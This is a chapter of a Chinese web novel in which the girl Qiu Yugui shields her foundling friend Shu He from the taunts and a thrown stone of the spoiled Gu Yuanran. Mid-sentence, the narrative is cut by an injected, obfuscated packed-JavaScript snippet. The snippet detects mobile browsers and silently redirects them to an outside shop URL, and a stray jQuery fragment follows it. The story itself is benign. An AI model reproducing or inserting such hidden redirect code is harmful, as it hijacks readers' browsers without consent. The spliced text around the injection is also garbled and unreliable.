“顾元然，你胡说什么呢！”秋与归一脸不满，她双手叉腰，往束鹤身边侧了侧身子，一副护犊子的架子，“什么书童，这是我新交的朋友，束鹤！”
顾元然愣了一下，随即眼睛里的兴趣更浓了，他踱步走近，目光在束鹤的身上又扫了一圈，“朋友？你秋大小姐什么时候交朋友这么……不拘一格了？”
他话里的意思很明显，凭束鹤这来历不明的身世，怎么都不像是能和秋与归玩到一起去的朋友。
秋与归偏过头观察束鹤的反应，他握着笔的手微微收紧，背脊停得更直了些，但脸上依旧没什么表情，看着顾元然的眼神清冷冷的。
“顾元然！”秋与归的声音陡然拔高，带着明显的气恼，“你出去游学一趟，别的没学会，倒学会言语刻薄了？束鹤他聪明好学，字也写得比你好看多了！”
她气鼓鼓地拿起束鹤练字的纸，上面工整的字比很多同龄孩子写得都好。
顾元然被她这么直白地呛回来，脸上有点挂不住，他哼了一声，争辩道：“字写得好有什么用？谁知道是哪里来的……”
“他是我从雪地里捡回来的！”秋与归打断他，声音脆亮，语气自豪，“我看他快冻死了，就把他捡回来了，怎么了？我爹娘都同意了！而且……说不准是雪娘娘看你老是惹我生气，所以特地把束鹤送给我的。”
她这一连串的话像小钢珠似的蹦出来，逻辑简单又霸道。
顾元然被她的话噎得一时语塞，他看看秋与归气得泛红的脸，又看了看旁边始终沉默的束鹤，忽然觉得有些没趣，他没想到秋与归这么维护这个来历不明的家伙。
“我……我哪有惹你生气。”顾元然撇撇嘴，语气缓和了些，“听说西市来了个杂耍班子，有会喷火的，还有小猴子，挺有意思的，你去不去看？”
秋与归眼睛一亮，显然很有兴趣，她立刻转头看向束鹤，“束鹤，你想去看杂耍吗？可有意思，可热闹了。”
束鹤看了一眼满脸期待的秋与归，又看看一脸不满的顾元然，“我想练字。”
“那好吧。”秋与归有点失望，但没强求，只是叮嘱道：“你看家，好好练字，等我回来给你带糖葫芦。”
束鹤：“……不必。”
顾元然忍不住催促道：“走不走啊？再晚好位置都没了。”
“走走走。”秋与归立刻被转移了注意力，兴高采烈地跟着顾元然往外走。
书房门被关上，脚步声和他们的说笑声渐行渐远。束鹤站在原地，看着重新恢复寂静的书房。
片刻后，才重新提笔，蘸墨，悬腕，落笔。
他对着“永”字又临摹了两遍，但不知为何，毛笔悬在半空，再没继续动作。
他的目光不经意间扫过书桌一角，那里压着好几张旧纸，上面是他最初练习时写下的自己的名字。
他将毛笔靠在砚台边，另铺开了一张新的素宣，笔锋饱蘸满浓墨，悬于纸面之上，却迟迟未落。
片刻后，他手腕轻动，一个端正的“秋”字落在了素宣的左侧。这个字他认识，也写过，是季节，也是她的姓氏。
写完这个字，他停了下来，目光落在“秋”字后面空白的地方，微微蹙起眉。
他从顾元然口中，第一次听到了秋与归的姓名，但他不知道她的名字是哪两个字，秋与归没有特意教过，他也不曾问过。
他抿了抿唇，视线在自己已经学过的字里面逡巡，笔尖迟疑地，在“秋”字后面，试着写下了一个“雨”字。
然后，是最后一个字，他犹豫的时间更长了。笔尖悬着，墨几乎要滴落。
最终，他落笔，写下一个歪歪扭扭的“规”字。
这个字显然超出了他目前熟练书写的范围，结构松散，笔画生硬。
“秋”、“雨”、“规”。
三个字并立在纸上，大小不一，尤其是后面两个字，与他平日练习时，力求工整的模样相去甚远，透着一种笨拙的摸索。
束鹤没有立刻涂掉或重写，他只是静静地看着这三个字，看了很久，握笔的手指紧了又松，松了又紧，他的身体始终一动不动。
直到门外响起了轻微的脚步声，他才恍然惊醒，迅速拿起那张纸，随手一团，握在掌心。
纸团被攥得很紧，指节微微发白，待外面的脚步声远去，他走到炭盆边，松开手，将那团写了名字的纸丢了进去。
橘红的火舌倏地舔舐上来，迅速将纸张烧为灰烬，只余一缕极淡的青烟，混入炭火的气息中。
束鹤站在原地，看着炭火恢复平静，脸上没有什么表情。
然后，他重新走回书桌前，继续在那张旧纸上练习起那个“永”字来。
时间一点一点流逝，直到斐萱进来点了蜡烛，询问他要不要先吃晚膳，束鹤才惊觉，已经过了这么久。
秋与归还没回来。
他看着面前好几张写满字的宣纸，放下笔，摇了摇头，“我还不饿。”
斐萱见他有些失神，自家小姐又不在，只能先离开，“那我晚点再给你送来。”
束鹤走到廊下，找了个能一眼看到回廊尽头的位置坐了下来。
不多时，回廊那头还真响起脚步声，只是来的不是秋与归。
顾元然手里拿着一串鲜红晶亮的糖葫芦，大摇大摆地走了过来。在他看到束鹤的时候，脸上露出了轻蔑的表情。
“哟，等人呢？”顾元然嘴角勾起一抹讥诮，晃了晃手里的糖葫芦，“你那朋友看来是玩得忘了时辰，连答应给你带的糖葫芦，都得本少爷好心捎回来。”
束鹤看着他手里的糖葫芦，没有搭话。
顾元然显然对他的沉默很不满意，他走近两步，居高临下地看着束鹤，压低了声音：“哎，我刚刚在外面听到了一个有趣儿的事，关于……你的爹娘？”
束鹤的身形一僵，握紧了手指。
“听说，是手脚不干净，偷了主家的东西，被活活打死的？”顾元然像是抓住了什么把柄，眼里满是得意，“啧啧，都说上梁不正下梁歪，你又打算在秋家偷些什么呢？”
束鹤猛地站起身，恶狠狠地盯着他。
顾元然被他的眼神吓了一跳，随即恼羞成怒：“你算什么东西，敢这么瞪我！一个贼偷的儿子，也配待在这里，也配让秋与归教你读书？我告诉你，趁早识相点自己滚蛋，别逼我报官把你抓起来！秋与归也就是看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875958|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你可怜，拿你当个新鲜玩意儿，等她玩腻了，谁还会多看你一眼。”
“滚。”一个极冷的字，从束鹤紧抿的唇缝中挤出来。
顾元然对他的态度生气极了，他想也没想，直接抄起院子里固土的石子，就朝他狠狠砸了过去。
“你也配叫我滚！”
石子带着风声，直袭束鹤面门。
束鹤没有躲，或许是来不及，或许是根本不想躲。他依旧站在那里，就在石子即将触及他额头的刹那，一个身影突然出现在他身前。
啪……石子落地滚动的声响传来，院中一片死寂。
顾元然举着的手僵在半空，一脸错愕与惊慌，“秋……秋与归，你……”
“顾，元，然！”秋与归一字一顿，带着怒意，“谁给你的胆子，在我的地盘，动我的人？”
她往前走了一步，逼近顾元然，明明比他矮了半个头，却让他不由自主地后退了半步。
“我不是故意的！我是要砸他，谁让你突然冲出来……”顾元然语无伦次地辩解，手里的糖葫芦掉在地上，鲜红的山楂滚了一地，沾满了灰尘。
“你为什么要砸他？你凭什么砸他？你怎么能这样欺辱我的朋友？”
“他不配当你的朋友，他就是个小偷！”
“闭嘴！那都是大人的事，束鹤就是束鹤。”秋与归厉声喝止，“从今往后，没有我的允许，你不准再踏进我的院子。你若是以后再敢做这样的事，我就去找顾伯父告状！”
顾元然被她这番毫不留情的话砸得晕头转向，脸上又羞又恼，“秋与归！你竟然为了袒护这个小偷，对我说这么过分的话，我要跟你绝交！”
他看着秋与归决绝的眼神，狠狠瞪了一眼被她护在身后的束鹤，扭头气呼呼地跑了。
脚步声远去，廊下重新陷入死寂，只剩下地上那串摔碎的糖葫芦，红得刺眼。
秋与归这才缓缓吐出一口浊气，紧绷的肩膀微微垮下，她转过身，看向束鹤。
束鹤依旧站在原地，只是那双眼睛在触及她脸上的伤口时，满是自责。
“你……”他喉结滚动了一下，声音干涩得厉害，“流血了。”
秋与归闻言，下意识地抬手摸了摸脸颊，指尖果然触到一点黏腻。
她赶忙回屋凑到铜镜前瞥了一眼，右脸颧骨的位置，被石子的边缘划开了一道小口子，噙着血珠，在白皙的脸上格外醒目。
“哎呀，真的流血了。”她的语气里有点意外，像是发现了什么新鲜事，却没有一点恐慌或者愤怒。
她随手扯过架子上的棉布，按在伤口上，洁白的布巾上迅速晕开一小块殷红。
秋与归转过身，看着束鹤跟进来后，蹙眉哽着不说话的样子，扯了扯嘴角，想挤出一个安抚的笑，却发现有些疼。
“没事，不疼。”她轻描淡写地说，随即皱了皱眉，看着他苍白的脸，“倒是你，吓到了吧？别理顾元然，他就是被家里宠坏了，说话做事不过脑子，什么绝交不绝交的，过两天他自己就忘了。”
她语气轻快，只当是小孩间寻常打闹。
但束鹤没有被她的轻松所感染，他低下头，声音低哑：“对不起。”